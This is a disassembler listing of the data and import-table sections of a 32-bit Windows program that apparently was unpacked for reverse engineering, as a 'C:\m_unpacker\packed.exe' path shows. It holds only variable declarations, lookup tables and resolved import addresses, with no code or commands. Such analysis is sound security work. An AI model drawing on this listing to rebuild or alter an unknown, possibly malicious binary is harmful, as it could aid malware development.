dword_4916F4	dd 71AB1A6Dh		; DATA XREF: sub_402413+18Dr
					; sub_402B90+152r ...
dword_4916F8	dd 71AB155Ah		; DATA XREF: sub_403BF7+4Cr
					; .text:004064E6r ...
dword_4916FC	dd 71B22C25h		; DATA XREF: sub_40E59D+B07w
					; sub_40E59D+B28r
dword_491700	dd 71AB5A01h		; DATA XREF: sub_40E59D+522w
					; sub_40E59D+6A6r ...
dword_491704	dd 71B2ACCBh		; DATA XREF: sub_40E59D+AFAw
					; sub_40E59D+B1Br
dword_491708	dd 77E78C17h		; DATA XREF: sub_407BA3+52r
					; sub_40E59D+31w ...
dword_49170C	dd 77D49A11h		; DATA XREF: sub_40E59D+17Fw
					; sub_40E59D+1CAr
		dd 0
dword_491714	dd 76D62A37h		; DATA XREF: sub_40E59D+909w
					; sub_40E59D+91Dr
dword_491718	dd 77E6CBF9h		; DATA XREF: sub_40E59D+99w
					; sub_40E59D+EAr ...
dword_49171C	dd 0			; DATA XREF: sub_40E59D:loc_40E69Bw
					; sub_40E59D+12Bw ...
dword_491720	dd 0			; DATA XREF: sub_40E59D+126w
					; sub_40F54D+1Cr
dword_491724	dd 0			; DATA XREF: sub_40E59D:loc_40E78Bw
					; sub_40E59D:loc_40E7F2w ...
dword_491728	dd 0			; DATA XREF: sub_40E59D+250w
					; sub_40F54D+50r
dword_49172C	dd 0			; DATA XREF: sub_407BA3+349r
					; sub_4087B3+16C3r ...
dword_491730	dd 0			; DATA XREF: sub_40E59D+400w
					; sub_40F54D+84r
dword_491734	dd 0			; DATA XREF: sub_40E59D:loc_40EA83w
					; sub_40F54D:loc_40F5FDr
dword_491738	dd 0			; DATA XREF: sub_40E59D+4E1w
					; sub_40F54D+B8r
dword_49173C	dd 0			; DATA XREF: sub_40E59D:loc_40ED54w
					; sub_40F54D:loc_40F631r
dword_491740	dd 0			; DATA XREF: sub_40E59D+7B2w
					; sub_40F54D+ECr
dword_491744	dd 0			; DATA XREF: sub_407BA3:loc_40815Er
					; sub_40E59D:loc_40EE3Fw ...
dword_491748	dd 0			; DATA XREF: sub_40E59D+8CCw
					; sub_40F54D+120r
dword_49174C	dd 0			; DATA XREF: sub_40E59D:loc_40EED3w
					; sub_40F54D:loc_40F699r
dword_491750	dd 0			; DATA XREF: sub_40E59D+931w
					; sub_40F54D+154r
dword_491754	dd 0			; DATA XREF: sub_4087B3+16CBr
					; sub_40E59D:loc_40EFDEw ...
dword_491758	dd 0			; DATA XREF: sub_40E59D+A3Cw
					; sub_40F54D+188r
dword_49175C	dd 0			; DATA XREF: sub_40E59D:loc_40F028w
					; sub_40F54D:loc_40F701r
dword_491760	dd 0			; DATA XREF: sub_40E59D+A86w
					; sub_40F54D+1BCr
dword_491764	dd 0			; DATA XREF: sub_40E59D:loc_40F072w
					; sub_40F54D:loc_40F735r
dword_491768	dd 0			; DATA XREF: sub_40E59D+AD0w
					; sub_40F54D+1F0r
dword_49176C	dd 0			; DATA XREF: sub_40E59D:loc_40F0E6w
					; sub_40F54D:loc_40F769r
dword_491770	dd 0			; DATA XREF: sub_40E59D+B44w
					; sub_40F54D+224r
dword_491774	dd 0			; DATA XREF: sub_40E59D:loc_40F130w
					; sub_40F54D:loc_40F79Dr
dword_491778	dd 0			; DATA XREF: sub_40E59D+B8Ew
					; sub_40F54D+258r
dword_49177C	dd 0			; DATA XREF: sub_40E59D:loc_40F1CEw
					; sub_40F54D:loc_40F7D1r
dword_491780	dd 0			; DATA XREF: sub_40E59D+C2Cw
					; sub_40F54D+28Cr
dword_491784	dd 0			; DATA XREF: sub_40E59D:loc_40F218w
					; sub_40F54D:loc_40F805r
dword_491788	dd 0			; DATA XREF: sub_40E59D+C76w
					; sub_40F54D+2C0r
		dd 1Fh dup(0)
dword_491808	dd 9Bh dup(0)		; DATA XREF: sub_40FC36+6Ao
dword_491A74	dd 17h dup(0)		; DATA XREF: sub_4102BD:loc_4103DAo
					; sub_4102BD+131o ...
dword_491AD0	dd 80h dup(0)		; DATA XREF: sub_4113B6+7Co
					; sub_4113B6+A5o
dword_491CD0	dd 0			; DATA XREF: sub_410714+45w
					; sub_410714+4Dr ...
dword_491CD4	dd 17h dup(0)		; DATA XREF: sub_411235:loc_411357o
					; sub_411235+12Do
dword_491D30	dd 80h dup(0)		; DATA XREF: sub_410626+4Bo
					; sub_410626+7Do ...
byte_491F30	db 0			; DATA XREF: sub_410714+29r
					; sub_410714+34w
		align 4
dword_491F34	dd 80h dup(0)		; DATA XREF: sub_4109FE+61o
					; sub_4109FE+88o ...
dword_492134	dd 0F1h	dup(0)		; DATA XREF: sub_41014B+33o
					; sub_41014B+50o ...
dword_4924F8	dd 6 dup(0)		; DATA XREF: sub_4116BB+32o
dword_492510	dd 9Bh dup(0)		; DATA XREF: sub_4126D1+8Do
byte_49277C	db 0			; DATA XREF: sub_413993+6Ar
					; sub_413993+98w
		align 10h
		dd 2 dup(0)
dword_492788	dd 11h dup(0)		; DATA XREF: sub_413F6C+47o
dword_4927CC	dd 0			; DATA XREF: .text:00415EBEr
					; .text:00415EC3w
dword_4927D0	dd 0			; DATA XREF: sub_415E6A+Aw
		align 8
dword_4927D8	dd 0			; DATA XREF: sub_4174F2+5Er
					; sub_4174F2+A4w
		align 10h
word_4927E0	dw 0			; DATA XREF: sub_4174F2+55r
					; sub_4174F2+9Ao
word_4927E2	dw 0			; DATA XREF: sub_4174F2+48r
		db 2 dup(0)
word_4927E6	dw 0			; DATA XREF: sub_4174F2+3Br
word_4927E8	dw 0			; DATA XREF: sub_4174F2+2Er
word_4927EA	dw 0			; DATA XREF: sub_4174F2+21r
		align 10h
dword_4927F0	dd 0			; DATA XREF: sub_4176C0+3Br
					; sub_4176C0+91w
dword_4927F4	dd 0			; DATA XREF: sub_417025+2Bw
					; sub_4172D3+1B9w ...
dword_4927F8	dd 0			; DATA XREF: sub_417025+35w
					; sub_41BE46:loc_41BEE0w ...
dword_4927FC	dd 0			; DATA XREF: sub_41EEE4+13Ar
dword_492800	dd 0A28h		; DATA XREF: sub_417ED0+52w
dword_492804	dd 501h			; DATA XREF: sub_417ED0+49w
dword_492808	dd 5			; DATA XREF: sub_417ED0+3Ew
dword_49280C	dd 1			; DATA XREF: sub_417ED0+30w
dword_492810	dd 1			; DATA XREF: sub_407BA3:loc_407E98r
					; sub_41D2FF+91w
dword_492814	dd 950B00h		; DATA XREF: sub_407BA3+2FEr
					; sub_407BA3+31Er ...
		dd 0
dword_49281C	dd 950A80h		; DATA XREF: sub_41D246+44w
					; sub_4206A5+9r ...
dword_492820	dd 0			; DATA XREF: sub_420D89+36r
dword_492824	dd 0			; DATA XREF: sub_4206A5+16r
					; sub_420A73+4r ...
		dd 0
off_49282C	dd offset aCM_unpackerPac ; DATA XREF: sub_41D2FF+2Ew
					; "C:\\m_unpacker\\packed.exe"
		dd 0
byte_492834	db 0			; DATA XREF: sub_41784D+2Dw
					; sub_41E68D+5r
		align 4
dword_492838	dd 0			; DATA XREF: sub_41784D+27w
dword_49283C	dd 0			; DATA XREF: sub_41784D+4r
					; sub_41784D+8Bw
dword_492840	dd 0			; DATA XREF: sub_417ED0+84w
					; sub_41D246:loc_41D258r ...
		align 8
dword_492848	dd 0			; DATA XREF: sub_417FC6r sub_417FEBr ...
dword_49284C	dd 0			; DATA XREF: sub_415CF8r
					; sub_416ED2:loc_416FCEr ...
dword_492850	dd 0			; DATA XREF: .text:004181DEr
					; .text:004181E3w ...
dword_492854	dd 0			; DATA XREF: sub_419D98+11r
					; sub_419E9C+1Ar ...
byte_492858	db 0			; DATA XREF: sub_419D98+3r
					; sub_419D98+98r ...
		align 4
dword_49285C	dd 0			; DATA XREF: sub_419E9C+11r
					; sub_419F7A+21w ...
byte_492860	db 0			; DATA XREF: sub_419F7A+51w
		align 4
dword_492864	dd 0			; DATA XREF: sub_41A170+4Er
					; sub_41A54B+3Ar ...
dword_492868	dd 0			; DATA XREF: sub_41A170+5Cr
					; sub_41A54B+43r ...
dword_49286C	dd 0			; DATA XREF: sub_416123+7Ar
					; sub_41A317+5r
dword_492870	dd 0			; DATA XREF: sub_41A91C+29r
dword_492874	dd 1			; DATA XREF: sub_41C6E5:loc_41C860r
					; sub_41C87E+4w ...
dword_492878	dd 0			; DATA XREF: sub_41CB5F+37r
		align 10h
dword_492880	dd 1			; DATA XREF: sub_41CC29+28r
					; sub_41CC29+4Cw ...
		dd 2 dup(0)
dword_49288C	dd 0			; DATA XREF: sub_417C24+4r
					; sub_417C24+9Dr ...
		dd 3 dup(0)
dword_49289C	dd 0			; DATA XREF: sub_417D0C+61r
					; sub_417D0C+BFr ...
		dd 0
dword_4928A4	dd 0			; DATA XREF: sub_41D06A+3Ar
					; sub_41D06A+46w ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_41D2FF:loc_41D316o
					; .data:off_49282Co
		align 4
		dd 3Ah dup(0)
dword_4929AC	dd 1			; DATA XREF: sub_41D54C+2r
					; sub_41D54C+23w ...
dword_4929B0	dd 0			; DATA XREF: sub_41D92C+21r
dword_4929B4	dd 77C26E79h		; DATA XREF: sub_41DAE9:loc_41DB0Cr
					; sub_41DAE9+38r ...
word_4929B8	dw 0			; DATA XREF: sub_41E247+1Ao
					; sub_41E247+46r
byte_4929BA	db 0			; DATA XREF: sub_41E247+39r
		align 4
dword_4929BC	dd 7 dup(0)		; DATA XREF: sub_41E247+52o
dword_4929D8	dd 0			; DATA XREF: sub_41E247+40w
					; sub_41E247+5Co
dword_4929DC	dd 0			; DATA XREF: sub_41E247+4Dw
dword_4929E0	dd 0			; DATA XREF: sub_41E247+31w
dword_4929E4	dd 0			; DATA XREF: sub_41E247+52w
dword_4929E8	dd 0			; DATA XREF: sub_41C300+154w
					; sub_41CB5F:loc_41CB88w ...
dword_4929EC	dd 1			; DATA XREF: sub_41EACD+26r
					; sub_41EACD:loc_41EB37w
dword_4929F0	dd 0			; DATA XREF: sub_41C300+7r
		align 8
dword_4929F8	dd 0			; DATA XREF: sub_41F1B2+11w
					; sub_41F1B2+63w ...
		align 10h
dword_492A00	dd 0			; DATA XREF: sub_41F1B2+33o
					; sub_41F1B2+46r
dword_492A04	dd 10h dup(0)		; DATA XREF: sub_41F1B2+C1o
word_492A44	dw 0			; DATA XREF: sub_41F410+A8r
word_492A46	dw 0			; DATA XREF: sub_41F1B2+54r
					; sub_41F410+DBr ...
word_492A48	dw 0			; DATA XREF: sub_41F410+CAr
word_492A4A	dw 0			; DATA XREF: sub_41F410+D3r
					; sub_41F410:loc_41F502r
word_492A4C	dw 0			; DATA XREF: sub_41F410+C0r
word_492A4E	dw 0			; DATA XREF: sub_41F410+B8r
word_492A50	dw 0			; DATA XREF: sub_41F410+B0r
word_492A52	dw 0			; DATA XREF: sub_41F410+9Er
dword_492A54	dd 0			; DATA XREF: sub_41F1B2+4Br
dword_492A58	dd 10h dup(0)		; DATA XREF: sub_41F1B2+FBo
word_492A98	dw 0			; DATA XREF: sub_41F410+46r
word_492A9A	dw 0			; DATA XREF: sub_41F1B2:loc_41F229r
					; sub_41F410+78r ...
word_492A9C	dw 0			; DATA XREF: sub_41F410+67r
word_492A9E	dw 0			; DATA XREF: sub_41F410+70r
					; sub_41F410:loc_41F494r
word_492AA0	dw 0			; DATA XREF: sub_41F410+5Dr
word_492AA2	dw 0			; DATA XREF: sub_41F410+55r
word_492AA4	dw 0			; DATA XREF: sub_41F410+4Dr
word_492AA6	dw 0			; DATA XREF: sub_41F410+3Er
dword_492AA8	dd 0			; DATA XREF: sub_41F1B2+80r
dword_492AAC	dd 0			; DATA XREF: sub_41F1B2+132r
					; sub_41F1B2:loc_41F2FEr ...
dword_492AB0	dd 0			; DATA XREF: sub_41F19Dr sub_41F19D+Ew
dword_492AB4	dd 0			; DATA XREF: sub_41F80A+3r
					; sub_41F80A+2Ew ...
dword_492AB8	dd 0			; DATA XREF: sub_41F80A+43w
					; sub_41F80A:loc_41F859r
dword_492ABC	dd 0			; DATA XREF: sub_41F80A+4Aw
					; sub_41F80A+60r
dword_492AC0	dd 0			; DATA XREF: .text:loc_4202CBr
					; .text:004202D1w ...
dword_492AC4	dd 0			; DATA XREF: .text:loc_4202AFr
					; .text:004202B5w ...
dword_492AC8	dd 0			; DATA XREF: .text:00420285r
					; .text:0042028Bw ...
dword_492ACC	dd 0			; DATA XREF: .text:loc_4202BDr
					; .text:004202C3w ...
dword_492AD0	dd 0			; DATA XREF: .text:loc_420254r
					; .text:0042026Fw
dword_492AD4	dd 0			; DATA XREF: sub_41EEE4+3Fr
dword_492AD8	dd 0			; DATA XREF: sub_420AE1+28r
					; sub_420AE1+48w ...
byte_492ADC	db 1			; DATA XREF: sub_402B66r sub_402B66+9w ...
		align 10h
		dd 0
		db 0
byte_492AE5	db 1			; DATA XREF: sub_415887+15r
					; sub_415887+1Ew
		align 10h
dword_492AF0	dd 944968h		; DATA XREF: sub_41BFC4:loc_41BFD5r
					; sub_41C470+14r ...
		dd 0D3h	dup(0)
dword_492E40	dd 400h	dup(0)		; DATA XREF: .data:off_436200o
					; .data:00436208o
dword_493E40	dd 200h			; DATA XREF: sub_41BFC4+9r
					; sub_41BFC4+56r ...
		dd 7 dup(0)
dword_493E60	dd 950EF0h		; DATA XREF: sub_41A9D8+B1r
					; sub_41C031+75r ...
dword_493E64	dd 3Fh dup(0)		; DATA XREF: sub_41D67E+92o
dword_493F60	dd 0Fh dup(0)		; DATA XREF: .text:0041D842o
					; sub_41EC16+42o
dword_493F9C	dd 20h			; DATA XREF: sub_41BE46+8r
					; sub_41C10A+Cr ...
dword_493FA0	dd 4E4h			; DATA XREF: sub_41C6E5+14r
					; sub_41C6E5+65w ...
		dd 1Fh dup(0)
dword_494020	dd 3 dup(0)		; DATA XREF: sub_41C6E5+123o
					; sub_41C6E5+171o ...
dword_49402C	dd 0			; DATA XREF: sub_41C6E5+108w
					; sub_41C6E5+15Dw ...
		dd 4 dup(0)
byte_494040	db 0			; DATA XREF: sub_41C924:loc_41CA30w
					; sub_41C924:loc_41CA4Dw ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_494140	db 0			; DATA XREF: sub_41C6E5+5Co
					; sub_41C6E5+AFo ...
byte_494141	db 0			; DATA XREF: sub_417900+5Dr
					; sub_41C6E5+A0w ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_494244	dd 0			; DATA XREF: sub_41C6E5+6Ew
					; sub_41C6E5+12Bw ...
dword_494248	dd 10h			; DATA XREF: sub_4182D9+32w
					; sub_418976+5r ...
		dd 3 dup(0)
dword_494258	dd 0			; DATA XREF: sub_418342+239r
					; sub_418342+259r ...
dword_49425C	dd 940650h		; DATA XREF: sub_4182D9+2Dw
					; sub_418342+310w ...
dword_494260	dd 0			; DATA XREF: sub_4182D9:loc_4182F6w
					; sub_418342+22Cr ...
dword_494264	dd 1			; DATA XREF: .text:0041824Ar
					; .text:00418293r ...
dword_494268	dd 940650h		; DATA XREF: .text:00418259r
					; .text:loc_41829Dr ...
dword_49426C	dd 940000h		; DATA XREF: sub_415D36+28r
					; sub_415D6C+21r ...
		dd 2 dup(0)
dword_494278	dd 142340h		; DATA XREF: sub_417ED0+7Aw
					; sub_41D1EE+Fr ...
		dd 2 dup(0)
dword_494284	dd 1			; DATA XREF: sub_41D246+ADw
					; sub_4206A5r
		dd 3 dup(0)
dword_494294	dd 1			; DATA XREF: sub_41CAB9r
					; sub_41CAB9+11w ...
dword_494298	dd 950E6Ch		; DATA XREF: sub_416773+13r
					; sub_416773:loc_4167B5r ...
dword_49429C	dd 950E60h		; DATA XREF: sub_416773+1r
					; sub_416773+Cr ...
		align 1000h
_data		ends

; Section 4. (virtual address 00095000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 00095000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata		segment	para public 'DATA' use32
		assume cs:_idata
		;org 495000h
		dd 95268h, 2 dup(0)
		dd 95584h, 9550Ch, 9503Ch, 2 dup(0)
		dd 95D30h, 952E0h, 5 dup(0)
		dd 958B0h, 95D16h, 95D04h, 95CF2h, 95CE2h, 95CCAh, 95CB6h
		dd 95CA6h, 95C94h, 95C82h, 95C72h, 95C62h, 95C44h, 95C36h
		dd 95C26h, 95C14h, 95BFAh, 95590h, 95598h, 955A8h, 955B8h
		dd 955CEh, 955DCh, 955F4h, 9560Ch, 9561Ch, 95644h, 9565Ch
		dd 9566Ch, 9567Ah, 9568Ch, 9569Ah, 956A6h, 956B4h, 956CAh
		dd 956DCh, 956EEh, 956FCh, 95712h, 9571Eh, 95736h, 95750h
		dd 95760h, 95772h, 9577Eh, 95790h, 9579Eh, 957ACh, 957C2h
		dd 957CEh, 957E4h, 957F8h, 9580Eh, 9581Eh, 95830h, 95840h
		dd 9584Ch, 9585Ch, 9586Eh, 95880h, 95890h, 9589Eh, 958C0h
		dd 958D6h, 958E4h, 958F2h, 9590Eh, 95924h, 9593Ah, 9594Eh
		dd 95962h, 95976h, 95982h, 95994h, 959A4h, 959B8h, 959D2h
		dd 959E0h, 959F2h, 95A0Eh, 95A28h, 95A44h, 95A5Ah, 95A66h
		dd 95A72h, 95A7Eh, 95A8Ch, 95AA6h, 95AB6h, 95AC8h, 95ADAh
		dd 95AE8h, 95AFAh, 95B08h, 95B16h, 95B24h, 95B34h, 95B44h
		dd 95B50h, 95B5Ch, 95B66h, 95B72h, 95B82h, 95B92h, 95BAEh
		dd 95BC8h, 95BE2h, 20h dup(0)
		dd 8000000Bh, 80000004h, 80000074h, 80000073h, 80000015h
		dd 8000000Ah, 80000009h, 80000002h, 8000000Dh, 80000001h
		dd 80000010h, 80000003h, 80000017h, 80000013h, 80000012h
		dd 80000097h, 0Eh dup(0)
dword_4952E0	dd 77E74D76h		; DATA XREF: sub_40FD2B+36r
					; .text:004211DEr
dword_4952E4	dd 77E6BD68h		; DATA XREF: sub_420D89+173r
					; .text:0042134Cr
dword_4952E8	dd 77E77F2Eh		; DATA XREF: sub_420AE1+3Er
					; sub_420AE1+261r ...
dword_4952EC	dd 77E762D0h		; DATA XREF: sub_420AE1+5Br
					; sub_420AE1+B9r ...
dword_4952F0	dd 77E70192h		; DATA XREF: sub_42055F+F9r
					; .text:0042133Ar
dword_4952F4	dd 77E76968h		; DATA XREF: .text:00420264r
					; .text:00421334r
dword_4952F8	dd 77E73FF9h		; DATA XREF: sub_41EE76+2Cr
					; .text:0042132Er
dword_4952FC	dd 77E7FF2Eh		; DATA XREF: sub_41ECAB:loc_41ECFBr
					; sub_41ED22:loc_41ED75r ...
dword_495300	dd 77E7C866h		; DATA XREF: sub_41EACD+3Fr
					; sub_41EACD+12Dr ...
dword_495304	dd 77E641EBh		; DATA XREF: sub_41EACD+59r
					; sub_41EACD+8Dr ...
dword_495308	dd 77E7176Ch		; DATA XREF: sub_41E3A2+8r
					; .text:00421316r
dword_49530C	dd 77E7339Ch		; DATA XREF: sub_41E36A+Cr
					; .text:00421310r
dword_495310	dd 77E7C9E7h		; DATA XREF: sub_41DB2F+5r
					; sub_41DB40+6r ...
dword_495314	dd 77E78406h		; DATA XREF: sub_41D67E+FFr
					; sub_41D67E+166r ...
dword_495318	dd 77E79C3Dh		; DATA XREF: sub_41D67E+158r
					; sub_41D965+143r ...
dword_49531C	dd 77E7C931h		; DATA XREF: sub_41D67E+19Dr
					; .text:004212F8r
dword_495320	dd 77E77EE1h		; DATA XREF: sub_41D54C+9r
					; .text:004212F2r
dword_495324	dd 77E61BE6h		; DATA XREF: sub_402413+19Cr
					; sub_402B90+F9r ...
dword_495328	dd 77F5157Dh		; DATA XREF: sub_403661:loc_40379Dr
					; sub_403661:loc_4038C1r ...
dword_49532C	dd 77E7AC37h		; DATA XREF: sub_403661+10Er
					; sub_403661+22Dr ...
dword_495330	dd 77E7A099h		; DATA XREF: sub_403661+58r
					; sub_403661+177r ...
dword_495334	dd 77E73C49h		; DATA XREF: .text:00404109r
					; .text:004043D3r ...
dword_495338	dd 77F7E300h		; DATA XREF: .text:0040403Ar
					; .text:004210EEr
dword_49533C	dd 77F7E21Fh		; DATA XREF: .text:00403FCFr
					; .text:004210F4r
dword_495340	dd 77E7751Ah		; DATA XREF: .text:00403F2Dr
					; .text:00404E16r ...
dword_495344	dd 77E7C706h		; DATA XREF: .text:0040420Br
					; .text:00421100r
dword_495348	dd 77F53275h		; DATA XREF: .text:004041FFr
					; .text:004043C3r ...
dword_49534C	dd 77E70F89h		; DATA XREF: sub_4045C0+Dr
					; sub_4174F2+Dr ...
dword_495350	dd 77E75CB5h		; DATA XREF: .text:004051C5r
					; .text:004058FEr ...
dword_495354	dd 77E61BB8h		; DATA XREF: .text:004051AFr
					; .text:004058C6r ...
dword_495358	dd 77E77963h		; DATA XREF: .text:00404F7Cr
					; .text:004058D7r ...
dword_49535C	dd 77E79D8Ch		; DATA XREF: .text:00404E84r
					; sub_40FF61+AEr ...
dword_495360	dd 77E7A837h		; DATA XREF: .text:00404DAAr
					; sub_406B82+1C4r ...
dword_495364	dd 77E704FCh		; DATA XREF: .text:00405893r
					; sub_407BA3+C7r ...
dword_495368	dd 77E64106h		; DATA XREF: .text:00406A3Fr
					; sub_414190+1B6r ...
dword_49536C	dd 77E64006h		; DATA XREF: .text:00406A2Br
					; sub_414190+19Fr ...
dword_495370	dd 77E793EFh		; DATA XREF: sub_406B82+1EEr
					; sub_407700+38r ...
dword_495374	dd 77E74CABh		; DATA XREF: sub_406B82+110r
					; sub_407BA3+19Er ...
dword_495378	dd 77E78EAAh		; DATA XREF: sub_406EDE+5E8r
					; .text:0042114Er
dword_49537C	dd 77E79424h		; DATA XREF: sub_406EDE+27Br
					; .text:00421154r
dword_495380	dd 77E794BFh		; DATA XREF: sub_406EDE+26Dr
					; .text:0042115Ar
dword_495384	dd 77E75E67h		; DATA XREF: sub_406EDE+20Dr
					; sub_406EDE+5D7r ...
dword_495388	dd 77E75D9Eh		; DATA XREF: sub_406EDE+1FCr
					; .text:00421166r
dword_49538C	dd 77E78B82h		; DATA XREF: sub_407700+80r
					; sub_41354F+Br ...
dword_495390	dd 77E78C81h		; DATA XREF: sub_407700+6Cr
					; sub_41CE78+4Fr ...
dword_495394	dd 77E73628h		; DATA XREF: sub_407BA3+33Br
					; sub_4087B3+35A8r ...
dword_495398	dd 77E706B7h		; DATA XREF: sub_407BA3+274r
					; sub_411876+B9r ...
dword_49539C	dd 77E80656h		; DATA XREF: sub_407BA3+267r
					; .text:00421184r
dword_4953A0	dd 77E6BD13h		; DATA XREF: sub_407BA3:loc_407D5Er
					; .text:0042118Ar
dword_4953A4	dd 77E70396h		; DATA XREF: sub_407BA3+1B5r
					; sub_407BA3+221r ...
dword_4953A8	dd 77E79F93h		; DATA XREF: sub_407BA3+D6r
					; sub_40E59D+2r ...
dword_4953AC	dd 77E79D5Bh		; DATA XREF: sub_407BA3+6Br
					; sub_407BA3+311r ...
dword_4953B0	dd 77E7C2C4h		; DATA XREF: sub_407BA3+64r
					; .text:004211A2r
dword_4953B4	dd 77E75CEBh		; DATA XREF: sub_4087B3+3819r
					; .text:00413203r ...
dword_4953B8	dd 77E6AD34h		; DATA XREF: sub_4087B3+2C70r
					; sub_40FF61+35r ...
dword_4953BC	dd 77E71AFEh		; DATA XREF: sub_4087B3+2B33r
					; .text:004211B4r
dword_4953C0	dd 77E805D8h		; DATA XREF: sub_40E59D+13Ar
					; sub_40E59D:loc_40EA8Dr ...
dword_4953C4	dd 77E7A5FDh		; DATA XREF: sub_40E59D+11r
					; sub_419C71+15r ...
dword_4953C8	dd 77E76A60h		; DATA XREF: sub_40FC36+2Dr
					; .text:004211C6r
dword_4953CC	dd 77E71B14h		; DATA XREF: sub_40FCE2+26r
					; .text:004211CCr
dword_4953D0	dd 77E7166Fh		; DATA XREF: sub_40FCE2+1Dr
					; .text:004211D2r
dword_4953D4	dd 77E75090h		; DATA XREF: sub_40FD2B+69r
					; .text:004211D8r
dword_4953D8	dd 77E77797h		; DATA XREF: sub_40FD2B+25r
					; .text:004211E4r
dword_4953DC	dd 77E7011Ah		; DATA XREF: sub_40FDCD+96r
					; .text:004211EAr
dword_4953E0	dd 77E73CE2h		; DATA XREF: sub_40FDCD+60r
					; .text:004211F0r
dword_4953E4	dd 77E668D9h		; DATA XREF: sub_40FF61+15Dr
					; .text:004211F6r
dword_4953E8	dd 77E79924h		; DATA XREF: sub_410714+13r
					; sub_41CC29+20Dr ...
dword_4953EC	dd 77E77CCEh		; DATA XREF: sub_410819+Fr
					; sub_417D0C+54r ...
dword_4953F0	dd 77E65F4Ch		; DATA XREF: sub_4113B6+34r
					; .text:00412309r ...
dword_4953F4	dd 77E79C90h		; DATA XREF: sub_4117F1+Cr
					; sub_413440+3Ar ...
dword_4953F8	dd 77E616B4h		; DATA XREF: sub_411876+113r
					; sub_411876+21Br ...
dword_4953FC	dd 77E76A2Eh		; DATA XREF: sub_411876+DEr
					; .text:0042121Ar
dword_495400	dd 77E7513Ch		; DATA XREF: .text:004123C7r
					; .text:00421220r
dword_495404	dd 77E7C657h		; DATA XREF: .text:00412458r
					; .text:0041400Cr ...
dword_495408	dd 77E6C29Dh		; DATA XREF: sub_412D63:loc_412F4Er
					; .text:0042122Cr
dword_49540C	dd 77E74C59h		; DATA XREF: .text:0041322Br
					; .text:00421232r
dword_495410	dd 77E7727Ah		; DATA XREF: sub_413309+23r
					; .text:00421238r
dword_495414	dd 77E79CE3h		; DATA XREF: sub_413440+77r
					; .text:0042123Er
dword_495418	dd 77EC7C51h		; DATA XREF: sub_41362D+5Er
					; .text:00421244r
dword_49541C	dd 77E802FCh		; DATA XREF: sub_413B9E+109r
					; sub_413B9E+250r ...
dword_495420	dd 77E6D75Bh		; DATA XREF: sub_413B9E+FFr
					; .text:00421250r
dword_495424	dd 77E76C1Ah		; DATA XREF: sub_414190+1CFr
					; .text:00421256r
dword_495428	dd 77F516F8h		; DATA XREF: sub_415D36+2Er
					; sub_416ED2+AFr ...
dword_49542C	dd 77F51597h		; DATA XREF: sub_415D6C+27r
					; .text:00418251r ...
dword_495430	dd 77F6183Eh		; DATA XREF: sub_421268r
dword_495434	dd 77F5722Fh		; DATA XREF: sub_416ED2+F0r
					; sub_418976+28r ...
dword_495438	dd 77E76E3Dh		; DATA XREF: sub_4174F2+6Cr
					; sub_41F1B2+38r ...
dword_49543C	dd 77E61608h		; DATA XREF: sub_4174F2+17r
					; .text:0042127Ar
dword_495440	dd 77E6177Ah		; DATA XREF: sub_417ED0+9Fr
					; sub_41D67E+59r ...
dword_495444	dd 77E7C938h		; DATA XREF: sub_417ED0+74r
					; .text:00421286r
dword_495448	dd 77E7C486h		; DATA XREF: sub_417ED0+26r
					; .text:0042128Cr
dword_49544C	dd 77E6D706h		; DATA XREF: sub_4181A0+2Er
					; sub_419407+215r ...
dword_495450	dd 77E76E0Bh		; DATA XREF: sub_41820B+2Fr
					; .text:004182B3r ...
dword_495454	dd 77E7C726h		; DATA XREF: sub_41820B+11r
					; .text:0042129Er
dword_495458	dd 77E79E34h		; DATA XREF: .text:00418260r
					; sub_418342+23Fr ...
dword_49545C	dd 77E7980Ah		; DATA XREF: sub_418976+76r
					; sub_418A27+51r ...
dword_495460	dd 77E73196h		; DATA XREF: .text:00418F07r
					; .text:00418F40r ...
dword_495464	dd 77F522F2h		; DATA XREF: sub_41B2F7+21r
					; .text:004212B6r
dword_495468	dd 77E7849Fh		; DATA XREF: sub_41C6E5+48r
					; sub_41C924+14r ...
dword_49546C	dd 77E7A13Fh		; DATA XREF: sub_41C87E+2Fr
					; .text:004212C2r
dword_495470	dd 77E6C703h		; DATA XREF: sub_41C87E+1Ar
					; .text:004212C8r
dword_495474	dd 77E77405h		; DATA XREF: sub_41CC29+5Er
					; sub_41CC29+A7r ...
dword_495478	dd 77E781F9h		; DATA XREF: sub_41CC29+42r
					; sub_41CC29+14Dr ...
dword_49547C	dd 77EB9A84h		; DATA XREF: sub_41D06A+138r
					; .text:004212DAr
dword_495480	dd 77E9C5B1h		; DATA XREF: sub_41D54C+11Fr
					; .text:004212E0r
dword_495484	dd 77E7C9E1h		; DATA XREF: sub_41D54C+CEr
					; .text:004212E6r
dword_495488	dd 77E67702h		; DATA XREF: sub_41D54C:loc_41D57Br
					; sub_41D54C+E1r ...
		dd 20h dup(0)
dword_49550C	dd 71AB12F8h		; DATA XREF: sub_4062D3+35r
					; .text:004210CAr
